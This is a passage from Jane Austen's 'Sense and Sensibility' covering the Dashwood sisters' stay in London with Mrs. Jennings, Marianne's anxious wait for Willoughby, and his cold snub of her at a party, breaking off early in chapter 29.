scruples, +and I am sure I could put up with every unpleasantness +of that kind with very little effort." + +Elinor could not help smiling at this display of +indifference towards the manners of a person, to whom she +had often had difficulty in persuading Marianne to behave +with tolerable politeness; and resolved within herself, +that if her sister persisted in going, she would +go likewise, as she did not think it proper that Marianne +should be left to the sole guidance of her own judgment, +or that Mrs. Jennings should be abandoned to the mercy +of Marianne for all the comfort of her domestic hours. +To this determination she was the more easily reconciled, +by recollecting that Edward Ferrars, by Lucy's account, +was not to be in town before February; and that +their visit, without any unreasonable abridgement, +might be previously finished. + +"I will have you BOTH go," said Mrs. Dashwood; +"these objections are nonsensical. You will have much +pleasure in being in London, and especially in being together; +and if Elinor would ever condescend to anticipate enjoyment, +she would foresee it there from a variety of sources; +she would, perhaps, expect some from improving her +acquaintance with her sister-in-law's family." + +Elinor had often wished for an opportunity of +attempting to weaken her mother's dependence on the +attachment of Edward and herself, that the shock might +be less when the whole truth were revealed, and now +on this attack, though almost hopeless of success, +she forced herself to begin her design by saying, +as calmly as she could, "I like Edward Ferrars very much, +and shall always be glad to see him; but as to the rest +of the family, it is a matter of perfect indifference +to me, whether I am ever known to them or not." + +Mrs. Dashwood smiled, and said nothing. +Marianne lifted up her eyes in astonishment, and Elinor +conjectured that she might as well have held her tongue. + +After very little farther discourse, it was finally +settled that the invitation should be fully accepted. +Mrs. Jennings received the information with a great +deal of joy, and many assurances of kindness and care; +nor was it a matter of pleasure merely to her. Sir John +was delighted; for to a man, whose prevailing anxiety +was the dread of being alone, the acquisition of two, +to the number of inhabitants in London, was something. +Even Lady Middleton took the trouble of being delighted, +which was putting herself rather out of her way; +and as for the Miss Steeles, especially Lucy, they had +never been so happy in their lives as this intelligence +made them. + +Elinor submitted to the arrangement which counteracted +her wishes with less reluctance than she had expected +to feel. With regard to herself, it was now a matter +of unconcern whether she went to town or not, and when +she saw her mother so thoroughly pleased with the plan, +and her sister exhilarated by it in look, voice, and manner, +restored to all her usual animation, and elevated to more +than her usual gaiety, she could not be dissatisfied +with the cause, and would hardly allow herself to distrust +the consequence. + +Marianne's joy was almost a degree beyond happiness, +so great was the perturbation of her spirits and her +impatience to be gone. Her unwillingness to quit her +mother was her only restorative to calmness; and at the +moment of parting her grief on that score was excessive. +Her mother's affliction was hardly less, and Elinor +was the only one of the three, who seemed to consider +the separation as any thing short of eternal. + +Their departure took place in the first week in January. +The Middletons were to follow in about a week. The Miss +Steeles kept their station at the park, and were to quit +it only with the rest of the family. + + + +CHAPTER 26 + + +Elinor could not find herself in the carriage with Mrs. Jennings, +and beginning a journey to London under her protection, +and as her guest, without wondering at her own situation, +so short had their acquaintance with that lady been, +so wholly unsuited were they in age and disposition, +and so many had been her objections against such a measure +only a few days before! But these objections had all, +with that happy ardour of youth which Marianne and her mother +equally shared, been overcome or overlooked; and Elinor, +in spite of every occasional doubt of Willoughby's constancy, +could not witness the rapture of delightful expectation +which filled the whole soul and beamed in the eyes +of Marianne, without feeling how blank was her own prospect, +how cheerless her own state of mind in the comparison, +and how gladly she would engage in the solicitude of +Marianne's situation to have the same animating object +in view, the same possibility of hope. A short, a very +short time however must now decide what Willoughby's +intentions were; in all probability he was already in town. +Marianne's eagerness to be gone declared her dependence +on finding him there; and Elinor was resolved not only upon +gaining every new light as to his character which her +own observation or the intelligence of others could give her, +but likewise upon watching his behaviour to her sister +with such zealous attention, as to ascertain what he was +and what he meant, before many meetings had taken place. +Should the result of her observations be unfavourable, +she was determined at all events to open the eyes +of her sister; should it be otherwise, her exertions +would be of a different nature--she must then learn +to avoid every selfish comparison, and banish every regret +which might lessen her satisfaction in the happiness of Marianne. + +They were three days on their journey, and Marianne's +behaviour as they travelled was a happy specimen of what +future complaisance and companionableness to Mrs. Jennings +might be expected to be. She sat in silence almost all +the way, wrapt in her own meditations, and scarcely ever +voluntarily speaking, except when any object of picturesque +beauty within their view drew from her an exclamation +of delight exclusively addressed to her sister. To atone +for this conduct therefore, Elinor took immediate possession +of the post of civility which she had assigned herself, +behaved with the greatest attention to Mrs. Jennings, +talked with her, laughed with her, and listened to her +whenever she could; and Mrs. Jennings on her side +treated them both with all possible kindness, was solicitous +on every occasion for their ease and enjoyment, and only +disturbed that she could not make them choose their own +dinners at the inn, nor extort a confession of their +preferring salmon to cod, or boiled fowls to veal cutlets. +They reached town by three o'clock the third day, glad to +be released, after such a journey, from the confinement +of a carriage, and ready to enjoy all the luxury of a good fire. + +The house was handsome, and handsomely fitted up, +and the young ladies were immediately put in possession +of a very comfortable apartment. It had formerly +been Charlotte's, and over the mantelpiece still hung +a landscape in coloured silks of her performance, +in proof of her having spent seven years at a great school +in town to some effect. + +As dinner was not to be ready in less than two +hours from their arrival, Elinor determined to employ +the interval in writing to her mother, and sat down for +that purpose. In a few moments Marianne did the same. +"I am writing home, Marianne," said Elinor; "had not you +better defer your letter for a day or two?" + +"I am NOT going to write to my mother," +replied Marianne, hastily, and as if wishing to avoid +any farther inquiry. Elinor said no more; it immediately +struck her that she must then be writing to Willoughby; +and the conclusion which as instantly followed was, +that, however mysteriously they might wish to conduct +the affair, they must be engaged. This conviction, +though not entirely satisfactory, gave her pleasure, +and she continued her letter with greater alacrity. +Marianne's was finished in a very few minutes; +in length it could be no more than a note; it was then +folded up, sealed, and directed with eager rapidity. +Elinor thought she could distinguish a large W in +the direction; and no sooner was it complete than Marianne, +ringing the bell, requested the footman who answered it +to get that letter conveyed for her to the two-penny post. +This decided the matter at once. + +Her spirits still continued very high; but there +was a flutter in them which prevented their giving much +pleasure to her sister, and this agitation increased as +the evening drew on. She could scarcely eat any dinner, +and when they afterwards returned to the drawing room, +seemed anxiously listening to the sound of every carriage. + +It was a great satisfaction to Elinor that Mrs. Jennings, +by being much engaged in her own room, could see little +of what was passing. The tea things were brought in, +and already had Marianne been disappointed more than once +by a rap at a neighbouring door, when a loud one was suddenly +heard which could not be mistaken for one at any other house, +Elinor felt secure of its announcing Willoughby's approach, +and Marianne, starting up, moved towards the door. +Every thing was silent; this could not be borne many seconds; +she opened the door, advanced a few steps towards the stairs, +and after listening half a minute, returned into the room +in all the agitation which a conviction of having heard +him would naturally produce; in the ecstasy of her +feelings at that instant she could not help exclaiming, +"Oh, Elinor, it is Willoughby, indeed it is!" and seemed +almost ready to throw herself into his arms, when Colonel +Brandon appeared. + +It was too great a shock to be borne with calmness, +and she immediately left the room. Elinor was disappointed too; +but at the same time her regard for Colonel Brandon ensured +his welcome with her; and she felt particularly hurt that +a man so partial to her sister should perceive that she +experienced nothing but grief and disappointment in seeing him. +She instantly saw that it was not unnoticed by him, +that he even observed Marianne as she quitted the room, +with such astonishment and concern, as hardly left him +the recollection of what civility demanded towards herself. + +"Is your sister ill?" said he. + +Elinor answered in some distress that she was, +and then talked of head-aches, low spirits, and over fatigues; +and of every thing to which she could decently attribute +her sister's behaviour. + +He heard her with the most earnest attention, +but seeming to recollect himself, said no more on the subject, +and began directly to speak of his pleasure at seeing them +in London, making the usual inquiries about their journey, +and the friends they had left behind. + +In this calm kind of way, with very little interest +on either side, they continued to talk, both of them out +of spirits, and the thoughts of both engaged elsewhere. +Elinor wished very much to ask whether Willoughby were +then in town, but she was afraid of giving him pain +by any enquiry after his rival; and at length, by way +of saying something, she asked if he had been in London +ever since she had seen him last. "Yes," he replied, +with some embarrassment, "almost ever since; I have been +once or twice at Delaford for a few days, but it has never +been in my power to return to Barton." + +This, and the manner in which it was said, +immediately brought back to her remembrance all the +circumstances of his quitting that place, with the +uneasiness and suspicions they had caused to Mrs. Jennings, +and she was fearful that her question had implied +much more curiosity on the subject than she had ever felt. + +Mrs. Jennings soon came in. "Oh! Colonel," said she, +with her usual noisy cheerfulness, "I am monstrous glad +to see you--sorry I could not come before--beg your +pardon, but I have been forced to look about me a little, +and settle my matters; for it is a long while since I +have been at home, and you know one has always a world +of little odd things to do after one has been away for +any time; and then I have had Cartwright to settle with-- +Lord, I have been as busy as a bee ever since dinner! +But pray, Colonel, how came you to conjure out that I should +be in town today?" + +"I had the pleasure of hearing it at Mr. Palmer's, +where I have been dining." + +"Oh, you did; well, and how do they all do at their +house? How does Charlotte do? I warrant you she is a fine +size by this time." + +"Mrs. Palmer appeared quite well, and I am commissioned +to tell you, that you will certainly see her to-morrow." + +"Ay, to be sure, I thought as much. Well, Colonel, +I have brought two young ladies with me, you see--that is, +you see but one of them now, but there is another somewhere. +Your friend, Miss Marianne, too--which you will not be +sorry to hear. I do not know what you and Mr. Willoughby +will do between you about her. Ay, it is a fine thing +to be young and handsome. Well! I was young once, but I +never was very handsome--worse luck for me. However, I got +a very good husband, and I don't know what the greatest +beauty can do more. Ah! poor man! he has been dead +these eight years and better. But Colonel, where have +you been to since we parted? And how does your business +go on? Come, come, let's have no secrets among friends." + +He replied with his accustomary mildness to all +her inquiries, but without satisfying her in any. +Elinor now began to make the tea, and Marianne was +obliged to appear again. + +After her entrance, Colonel Brandon became +more thoughtful and silent than he had been before, +and Mrs. Jennings could not prevail on him to stay long. +No other visitor appeared that evening, and the ladies +were unanimous in agreeing to go early to bed. + +Marianne rose the next morning with recovered spirits +and happy looks. The disappointment of the evening before +seemed forgotten in the expectation of what was to happen +that day. They had not long finished their breakfast before +Mrs. Palmer's barouche stopped at the door, and in a few +minutes she came laughing into the room: so delighted +to see them all, that it was hard to say whether she +received most pleasure from meeting her mother or the Miss +Dashwoods again. So surprised at their coming to town, +though it was what she had rather expected all along; +so angry at their accepting her mother's invitation +after having declined her own, though at the same time +she would never have forgiven them if they had not come! + +"Mr. Palmer will be so happy to see you," +said she; "What do you think he said when he heard +of your coming with Mamma? I forget what it was now, +but it was something so droll!" + +After an hour or two spent in what her mother called +comfortable chat, or in other words, in every variety of inquiry +concerning all their acquaintance on Mrs. Jennings's side, +and in laughter without cause on Mrs. Palmer's, it was +proposed by the latter that they should all accompany +her to some shops where she had business that morning, +to which Mrs. Jennings and Elinor readily consented, +as having likewise some purchases to make themselves; +and Marianne, though declining it at first was induced +to go likewise. + +Wherever they went, she was evidently always on +the watch. In Bond Street especially, where much of +their business lay, her eyes were in constant inquiry; +and in whatever shop the party were engaged, her mind was +equally abstracted from every thing actually before them, +from all that interested and occupied the others. +Restless and dissatisfied every where, her sister could +never obtain her opinion of any article of purchase, +however it might equally concern them both: she received +no pleasure from anything; was only impatient to be at +home again, and could with difficulty govern her vexation +at the tediousness of Mrs. Palmer, whose eye was caught +by every thing pretty, expensive, or new; who was wild +to buy all, could determine on none, and dawdled away her +time in rapture and indecision. + +It was late in the morning before they returned home; +and no sooner had they entered the house than Marianne flew +eagerly up stairs, and when Elinor followed, she found +her turning from the table with a sorrowful countenance, +which declared that no Willoughby had been there. + +"Has no letter been left here for me since we went out?" +said she to the footman who then entered with the parcels. +She was answered in the negative. "Are you quite sure +of it?" she replied. "Are you certain that no servant, +no porter has left any letter or note?" + +The man replied that none had. + +"How very odd!" said she, in a low and disappointed +voice, as she turned away to the window. + +"How odd, indeed!" repeated Elinor within herself, +regarding her sister with uneasiness. "If she had not +known him to be in town she would not have written to him, +as she did; she would have written to Combe Magna; +and if he is in town, how odd that he should neither +come nor write! Oh! my dear mother, you must be wrong +in permitting an engagement between a daughter so young, +a man so little known, to be carried on in so doubtful, +so mysterious a manner! I long to inquire; and how will MY +interference be borne." + +She determined, after some consideration, that if +appearances continued many days longer as unpleasant as they +now were, she would represent in the strongest manner +to her mother the necessity of some serious enquiry into the +affair. + +Mrs. Palmer and two elderly ladies of Mrs. Jennings's +intimate acquaintance, whom she had met and invited +in the morning, dined with them. The former left them +soon after tea to fulfill her evening engagements; +and Elinor was obliged to assist in making a whist table +for the others. Marianne was of no use on these occasions, +as she would never learn the game; but though her time +was therefore at her own disposal, the evening was by no +means more productive of pleasure to her than to Elinor, +for it was spent in all the anxiety of expectation and the +pain of disappointment. She sometimes endeavoured for a +few minutes to read; but the book was soon thrown aside, +and she returned to the more interesting employment +of walking backwards and forwards across the room, +pausing for a moment whenever she came to the window, +in hopes of distinguishing the long-expected rap. + + + +CHAPTER 27 + + +"If this open weather holds much longer," said Mrs. Jennings, +when they met at breakfast the following morning, +"Sir John will not like leaving Barton next week; +'tis a sad thing for sportsmen to lose a day's pleasure. +Poor souls! I always pity them when they do; they seem +to take it so much to heart." + +"That is true," cried Marianne, in a cheerful voice, +and walking to the window as she spoke, to examine the day. +"I had not thought of that. This weather will keep many +sportsmen in the country." + +It was a lucky recollection, all her good spirits were +restored by it. "It is charming weather for THEM indeed," +she continued, as she sat down to the breakfast table +with a happy countenance. "How much they must enjoy +it! But" (with a little return of anxiety) "it cannot +be expected to last long. At this time of the year, +and after such a series of rain, we shall certainly +have very little more of it. Frosts will soon set in, +and in all probability with severity. In another day +or two perhaps; this extreme mildness can hardly last +longer--nay, perhaps it may freeze tonight!" + +"At any rate," said Elinor, wishing to prevent +Mrs. Jennings from seeing her sister's thoughts as clearly +as she did, "I dare say we shall have Sir John and Lady +Middleton in town by the end of next week." + +"Ay, my dear, I'll warrant you we do. Mary always +has her own way." + +"And now," silently conjectured Elinor, "she will +write to Combe by this day's post." + +But if she DID, the letter was written and sent away +with a privacy which eluded all her watchfulness to ascertain +the fact. Whatever the truth of it might be, and far +as Elinor was from feeling thorough contentment about it, +yet while she saw Marianne in spirits, she could not be +very uncomfortable herself. And Marianne was in spirits; +happy in the mildness of the weather, and still happier +in her expectation of a frost. + +The morning was chiefly spent in leaving cards at +the houses of Mrs. Jennings's acquaintance to inform +them of her being in town; and Marianne was all the time +busy in observing the direction of the wind, watching the +variations of the sky and imagining an alteration in the air. + +"Don't you find it colder than it was in the morning, +Elinor? There seems to me a very decided difference. +I can hardly keep my hands warm even in my muff. It was +not so yesterday, I think. The clouds seem parting too, +the sun will be out in a moment, and we shall have a +clear afternoon." + +Elinor was alternately diverted and pained; +but Marianne persevered, and saw every night in the +brightness of the fire, and every morning in the appearance +of the atmosphere, the certain symptoms of approaching frost. + +The Miss Dashwoods had no greater reason to be +dissatisfied with Mrs. Jennings's style of living, and set +of acquaintance, than with her behaviour to themselves, +which was invariably kind. Every thing in her household +arrangements was conducted on the most liberal plan, +and excepting a few old city friends, whom, to Lady +Middleton's regret, she had never dropped, she visited +no one to whom an introduction could at all discompose +the feelings of her young companions. Pleased to find +herself more comfortably situated in that particular than +she had expected, Elinor was very willing to compound +for the want of much real enjoyment from any of their +evening parties, which, whether at home or abroad, +formed only for cards, could have little to amuse her. + +Colonel Brandon, who had a general invitation +to the house, was with them almost every day; he came +to look at Marianne and talk to Elinor, who often derived +more satisfaction from conversing with him than from any +other daily occurrence, but who saw at the same time +with much concern his continued regard for her sister. +She feared it was a strengthening regard. It grieved her +to see the earnestness with which he often watched Marianne, +and his spirits were certainly worse than when at Barton. + +About a week after their arrival, it became +certain that Willoughby was also arrived. His card +was on the table when they came in from the morning's drive. + +"Good God!" cried Marianne, "he has been here while +we were out." Elinor, rejoiced to be assured of his +being in London, now ventured to say, "Depend upon it, +he will call again tomorrow." But Marianne seemed +hardly to hear her, and on Mrs. Jenning's entrance, +escaped with the precious card. + +This event, while it raised the spirits of Elinor, +restored to those of her sister all, and more than all, +their former agitation. From this moment her mind was +never quiet; the expectation of seeing him every hour +of the day, made her unfit for any thing. She insisted +on being left behind, the next morning, when the others +went out. + +Elinor's thoughts were full of what might be passing +in Berkeley Street during their absence; but a moment's +glance at her sister when they returned was enough to +inform her, that Willoughby had paid no second visit there. +A note was just then brought in, and laid on the table, + +"For me!" cried Marianne, stepping hastily forward. + +"No, ma'am, for my mistress." + +But Marianne, not convinced, took it instantly up. + +"It is indeed for Mrs. Jennings; how provoking!" + +"You are expecting a letter, then?" said Elinor, +unable to be longer silent. + +"Yes, a little--not much." + +After a short pause. "You have no confidence +in me, Marianne." + +"Nay, Elinor, this reproach from YOU--you who have +confidence in no one!" + +"Me!" returned Elinor in some confusion; "indeed, +Marianne, I have nothing to tell." + +"Nor I," answered Marianne with energy, "our situations +then are alike. We have neither of us any thing to tell; +you, because you do not communicate, and I, because +I conceal nothing." + +Elinor, distressed by this charge of reserve in herself, +which she was not at liberty to do away, knew not how, +under such circumstances, to press for greater openness +in Marianne. + +Mrs. Jennings soon appeared, and the note being +given her, she read it aloud. It was from Lady Middleton, +announcing their arrival in Conduit Street the night before, +and requesting the company of her mother and cousins +the following evening. Business on Sir John's part, +and a violent cold on her own, prevented their calling +in Berkeley Street. The invitation was accepted; +but when the hour of appointment drew near, necessary as +it was in common civility to Mrs. Jennings, that they +should both attend her on such a visit, Elinor had some +difficulty in persuading her sister to go, for still +she had seen nothing of Willoughby; and therefore was +not more indisposed for amusement abroad, than unwilling +to run the risk of his calling again in her absence. + +Elinor found, when the evening was over, +that disposition is not materially altered by a change +of abode, for although scarcely settled in town, +Sir John had contrived to collect around him, nearly twenty +young people, and to amuse them with a ball. This was +an affair, however, of which Lady Middleton did not approve. +In the country, an unpremeditated dance was very allowable; +but in London, where the reputation of elegance was more +important and less easily attained, it was risking too much +for the gratification of a few girls, to have it known that +Lady Middleton had given a small dance of eight or nine couple, +with two violins, and a mere side-board collation. + +Mr. and Mrs. Palmer were of the party; from the former, +whom they had not seen before since their arrival in town, +as he was careful to avoid the appearance of any attention +to his mother-in-law, and therefore never came near her, +they received no mark of recognition on their entrance. +He looked at them slightly, without seeming to know +who they were, and merely nodded to Mrs. Jennings from +the other side of the room. Marianne gave one glance +round the apartment as she entered: it was enough--HE +was not there--and she sat down, equally ill-disposed +to receive or communicate pleasure. After they had been +assembled about an hour, Mr. Palmer sauntered towards +the Miss Dashwoods to express his surprise on seeing them +in town, though Colonel Brandon had been first informed +of their arrival at his house, and he had himself said +something very droll on hearing that they were to come. + +"I thought you were both in Devonshire," said he. + +"Did you?" replied Elinor. + +"When do you go back again?" + +"I do not know." And thus ended their discourse. + +Never had Marianne been so unwilling to dance +in her life, as she was that evening, and never so much +fatigued by the exercise. She complained of it +as they returned to Berkeley Street. + +"Aye, aye," said Mrs. Jennings, "we know the reason +of all that very well; if a certain person who shall +be nameless, had been there, you would not have been a +bit tired: and to say the truth it was not very pretty +of him not to give you the meeting when he was invited." + +"Invited!" cried Marianne. + +"So my daughter Middleton told me, for it seems Sir +John met him somewhere in the street this morning." +Marianne said no more, but looked exceedingly hurt. +Impatient in this situation to be doing something +that might lead to her sister's relief, Elinor resolved +to write the next morning to her mother, and hoped +by awakening her fears for the health of Marianne, +to procure those inquiries which had been so long delayed; +and she was still more eagerly bent on this measure +by perceiving after breakfast on the morrow, that Marianne +was again writing to Willoughby, for she could not suppose +it to be to any other person. + +About the middle of the day, Mrs. Jennings went out by +herself on business, and Elinor began her letter directly, +while Marianne, too restless for employment, too anxious +for conversation, walked from one window to the other, +or sat down by the fire in melancholy meditation. +Elinor was very earnest in her application to her mother, +relating all that had passed, her suspicions of +Willoughby's inconstancy, urging her by every plea +of duty and affection to demand from Marianne an account +of her real situation with respect to him. + +Her letter was scarcely finished, when a rap +foretold a visitor, and Colonel Brandon was announced. +Marianne, who had seen him from the window, and who hated +company of any kind, left the room before he entered it. +He looked more than usually grave, and though expressing +satisfaction at finding Miss Dashwood alone, as if he +had somewhat in particular to tell her, sat for some +time without saying a word. Elinor, persuaded that he +had some communication to make in which her sister +was concerned, impatiently expected its opening. +It was not the first time of her feeling the same kind +of conviction; for, more than once before, beginning with +the observation of "your sister looks unwell to-day," +or "your sister seems out of spirits," he had appeared +on the point, either of disclosing, or of inquiring, +something particular about her. After a pause of several +minutes, their silence was broken, by his asking her +in a voice of some agitation, when he was to congratulate +her on the acquisition of a brother? Elinor was not +prepared for such a question, and having no answer ready, +was obliged to adopt the simple and common expedient, +of asking what he meant? He tried to smile as he replied, +"your sister's engagement to Mr. Willoughby is very generally +known." + +"It cannot be generally known," returned Elinor, +"for her own family do not know it." + +He looked surprised and said, "I beg your pardon, +I am afraid my inquiry has been impertinent; but I had not +supposed any secrecy intended, as they openly correspond, +and their marriage is universally talked of." + +"How can that be? By whom can you have heard +it mentioned?" + +"By many--by some of whom you know nothing, by others +with whom you are most intimate, Mrs. Jennings, Mrs. Palmer, +and the Middletons. But still I might not have believed it, +for where the mind is perhaps rather unwilling to +be convinced, it will always find something to support +its doubts, if I had not, when the servant let me in today, +accidentally seen a letter in his hand, directed to +Mr. Willoughby in your sister's writing. I came to inquire, +but I was convinced before I could ask the question. +Is every thing finally settled? Is it impossible to-? +But I have no right, and I could have no chance of succeeding. +Excuse me, Miss Dashwood. I believe I have been wrong +in saying so much, but I hardly know what to do, and on +your prudence I have the strongest dependence. Tell me +that it is all absolutely resolved on, that any attempt, +that in short concealment, if concealment be possible, +is all that remains." + +These words, which conveyed to Elinor a direct avowal +of his love for her sister, affected her very much. +She was not immediately able to say anything, and even +when her spirits were recovered, she debated for a short +time, on the answer it would be most proper to give. +The real state of things between Willoughby and her sister +was so little known to herself, that in endeavouring +to explain it, she might be as liable to say too much +as too little. Yet as she was convinced that Marianne's +affection for Willoughby, could leave no hope of Colonel +Brandon's success, whatever the event of that affection +might be, and at the same time wished to shield her conduct +from censure, she thought it most prudent and kind, +after some consideration, to say more than she really knew +or believed. She acknowledged, therefore, that though +she had never been informed by themselves of the terms +on which they stood with each other, of their mutual +affection she had no doubt, and of their correspondence +she was not astonished to hear. + +He listened to her with silent attention, and on +her ceasing to speak, rose directly from his seat, +and after saying in a voice of emotion, "to your sister +I wish all imaginable happiness; to Willoughby that he +may endeavour to deserve her,"--took leave, and went away. + +Elinor derived no comfortable feelings from this +conversation, to lessen the uneasiness of her mind on +other points; she was left, on the contrary, with a +melancholy impression of Colonel Brandon's unhappiness, +and was prevented even from wishing it removed, +by her anxiety for the very event that must confirm it. + + + +CHAPTER 28 + + +Nothing occurred during the next three or four days, +to make Elinor regret what she had done, in applying +to her mother; for Willoughby neither came nor wrote. +They were engaged about the end of that time to attend +Lady Middleton to a party, from which Mrs. Jennings was +kept away by the indisposition of her youngest daughter; +and for this party, Marianne, wholly dispirited, +careless of her appearance, and seeming equally indifferent +whether she went or staid, prepared, without one look +of hope or one expression of pleasure. She sat by the +drawing-room fire after tea, till the moment of Lady +Middleton's arrival, without once stirring from her seat, +or altering her attitude, lost in her own thoughts, +and insensible of her sister's presence; and when at +last they were told that Lady Middleton waited for them +at the door, she started as if she had forgotten that +any one was expected. + +They arrived in due time at the place of destination, +and as soon as the string of carriages before them +would allow, alighted, ascended the stairs, heard their +names announced from one landing-place to another in an +audible voice, and entered a room splendidly lit up, +quite full of company, and insufferably hot. When they had +paid their tribute of politeness by curtsying to the lady +of the house, they were permitted to mingle in the crowd, +and take their share of the heat and inconvenience, to +which their arrival must necessarily add. After some time +spent in saying little or doing less, Lady Middleton sat +down to Cassino, and as Marianne was not in spirits for +moving about, she and Elinor luckily succeeding to chairs, +placed themselves at no great distance from the table. + +They had not remained in this manner long, before Elinor +perceived Willoughby, standing within a few yards +of them, in earnest conversation with a very fashionable +looking young woman. She soon caught his eye, and he +immediately bowed, but without attempting to speak to her, +or to approach Marianne, though he could not but see her; +and then continued his discourse with the same lady. +Elinor turned involuntarily to Marianne, to see whether +it could be unobserved by her. At that moment she first +perceived him, and her whole countenance glowing with +sudden delight, she would have moved towards him instantly, +had not her sister caught hold of her. + +"Good heavens!" she exclaimed, "he is there--he +is there--Oh! why does he not look at me? why cannot +I speak to him?" + +"Pray, pray be composed," cried Elinor, "and do +not betray what you feel to every body present. +Perhaps he has not observed you yet." + +This however was more than she could believe herself; +and to be composed at such a moment was not only beyond +the reach of Marianne, it was beyond her wish. She sat +in an agony of impatience which affected every feature. + +At last he turned round again, and regarded them both; +she started up, and pronouncing his name in a tone +of affection, held out her hand to him. He approached, +and addressing himself rather to Elinor than Marianne, +as if wishing to avoid her eye, and determined not to +observe her attitude, inquired in a hurried manner after +Mrs. Dashwood, and asked how long they had been in town. +Elinor was robbed of all presence of mind by such an address, +and was unable to say a word. But the feelings of her sister +were instantly expressed. Her face was crimsoned over, +and she exclaimed, in a voice of the greatest emotion, +"Good God! Willoughby, what is the meaning of this? +Have you not received my letters? Will you not shake +hands with me?" + +He could not then avoid it, but her touch seemed +painful to him, and he held her hand only for a moment. +During all this time he was evidently struggling for composure. +Elinor watched his countenance and saw its expression +becoming more tranquil. After a moment's pause, he spoke +with calmness. + +"I did myself the honour of calling in Berkeley +Street last Tuesday, and very much regretted that I was +not fortunate enough to find yourselves and Mrs. Jennings +at home. My card was not lost, I hope." + +"But have you not received my notes?" cried Marianne +in the wildest anxiety. "Here is some mistake I am +sure--some dreadful mistake. What can be the meaning +of it? Tell me, Willoughby; for heaven's sake tell me, +what is the matter?" + +He made no reply; his complexion changed and all his +embarrassment returned; but as if, on catching the eye +of the young lady with whom he had been previously talking, +he felt the necessity of instant exertion, he recovered +himself again, and after saying, "Yes, I had the pleasure +of receiving the information of your arrival in town, +which you were so good as to send me," turned hastily away +with a slight bow and joined his friend. + +Marianne, now looking dreadfully white, and unable +to stand, sunk into her chair, and Elinor, expecting every +moment to see her faint, tried to screen her from the +observation of others, while reviving her with lavender water. + +"Go to him, Elinor," she cried, as soon as she +could speak, "and force him to come to me. Tell him +I must see him again--must speak to him instantly.-- +I cannot rest--I shall not have a moment's peace till this +is explained--some dreadful misapprehension or other.-- +Oh go to him this moment." + +"How can that be done? No, my dearest Marianne, +you must wait. This is not the place for explanations. +Wait only till tomorrow." + +With difficulty however could she prevent her +from following him herself; and to persuade her to check +her agitation, to wait, at least, with the appearance +of composure, till she might speak to him with more privacy +and more effect, was impossible; for Marianne continued +incessantly to give way in a low voice to the misery +of her feelings, by exclamations of wretchedness. +In a short time Elinor saw Willoughby quit the room by the +door towards the staircase, and telling Marianne that he +was gone, urged the impossibility of speaking to him again +that evening, as a fresh argument for her to be calm. +She instantly begged her sister would entreat Lady +Middleton to take them home, as she was too miserable +to stay a minute longer. + +Lady Middleton, though in the middle of a rubber, +on being informed that Marianne was unwell, was too +polite to object for a moment to her wish of going away, +and making over her cards to a friend, they departed +as soon the carriage could be found. Scarcely a word +was spoken during their return to Berkeley Street. +Marianne was in a silent agony, too much oppressed even +for tears; but as Mrs. Jennings was luckily not come home, +they could go directly to their own room, where hartshorn +restored her a little to herself. She was soon undressed +and in bed, and as she seemed desirous of being alone, +her sister then left her, and while she waited the return +of Mrs. Jennings, had leisure enough for thinking over +the past. + +That some kind of engagement had subsisted +between Willoughby and Marianne she could not doubt, +and that Willoughby was weary of it, seemed equally clear; +for however Marianne might still feed her own wishes, +SHE could not attribute such behaviour to mistake +or misapprehension of any kind. Nothing but a thorough +change of sentiment could account for it. Her indignation +would have been still stronger than it was, had she +not witnessed that embarrassment which seemed to speak +a consciousness of his own misconduct, and prevented +her from believing him so unprincipled as to have been +sporting with the affections of her sister from the first, +without any design that would bear investigation. +Absence might have weakened his regard, and convenience +might have determined him to overcome it, but that such +a regard had formerly existed she could not bring herself +to doubt. + +As for Marianne, on the pangs which so unhappy a meeting +must already have given her, and on those still more +severe which might await her in its probable consequence, +she could not reflect without the deepest concern. +Her own situation gained in the comparison; for while she +could ESTEEM Edward as much as ever, however they might be +divided in future, her mind might be always supported. +But every circumstance that could embitter such an evil +seemed uniting to heighten the misery of Marianne +in a final separation from Willoughby--in an immediate +and irreconcilable rupture with him. + + + +CHAPTER 29 + + +Before the house-maid had lit their fire the next day, +or the sun gained any power over a cold, gloomy morning +in January, Marianne, only half dressed, was kneeling +against one of the window-seats for the sake of all +the little light she could command from it, and writing +as fast as a continual flow of tears would permit her. +In this situation, Elinor, roused from sleep by her agitation +and sobs, first perceived her; and after observing her +for a few moments with silent anxiety, said, in a tone +of the most considerate gentleness, + +"Marianne, may I ask-?" + +"No, Elinor," she replied, "ask nothing; you will +soon know all." + +The sort of desperate calmness with which this was said, +lasted no longer than while she spoke, and was immediately +followed by a return of the same excessive affliction. +It was some minutes before she could go on with her letter, +and the frequent bursts of grief which still obliged her, +at intervals, to withhold her pen, were proofs enough of her +feeling how more than probable it was that she was writing +for the last time to Willoughby. + +Elinor paid her every quiet and unobtrusive attention +in her power; and she would have tried to sooth and +tranquilize her still more, had not Marianne entreated her, +with all the eagerness of the most nervous irritability, +not to speak to her for the world. In such circumstances, +it was better for both that they should not be long together; +and the restless state of Marianne's mind not only prevented +her from remaining in the room a moment after she was dressed, +but requiring at once solitude and continual change of place, +made her wander about the house till breakfast time, avoiding +the sight of every body. + +At breakfast she neither ate, nor attempted to eat +any thing; and Elinor's attention was then all employed, +not in urging her, not in pitying her, nor in appearing +to regard her, but in endeavouring to engage Mrs. Jenning's +notice entirely to herself. + +As this was a favourite meal with Mrs. Jennings, +it lasted a considerable time, and they were just setting +themselves, after it, round the common working table, when a +letter was delivered to Marianne, which she eagerly caught +from the servant, and, turning of a death-like paleness, +instantly ran out of the room. Elinor, who saw as plainly +by this, as if she had seen the direction, that it must +come from Willoughby, felt immediately such a sickness +at heart as made her hardly able to hold up her head, +and sat in such a general tremour as made her fear it +impossible to escape Mrs. Jenning's notice. That good lady, +however, saw only that Marianne had received a letter +from Willoughby, which appeared to her a very good joke, +and which she treated accordingly, by hoping, with a laugh, +that she would find it to her liking. Of Elinor's distress, +she was too busily employed in measuring lengths of worsted +for her rug, to see any thing at all; and calmly continuing +her talk, as soon as Marianne disappeared, she said, + +"Upon my word, I never saw a young woman so +desperately in love in my life! MY girls were nothing +to her, and yet they used to be foolish enough; but as +for Miss Marianne, she is quite an altered creature. +I hope, from the bottom of my heart, he won't keep her +waiting much longer, for it is quite grievous to see her +look so ill and forlorn. Pray, when are they to be married?" + +Elinor, though never less disposed to speak than at +that moment, obliged herself to answer such an attack +as this, and, therefore, trying to smile, replied, "And have +you really, Ma'am, talked yourself into a persuasion +of my sister's being engaged to Mr. Willoughby? I thought +it had been only a joke, but so serious a question seems +to imply more; and I must beg, therefore, that you will not +deceive yourself any longer. 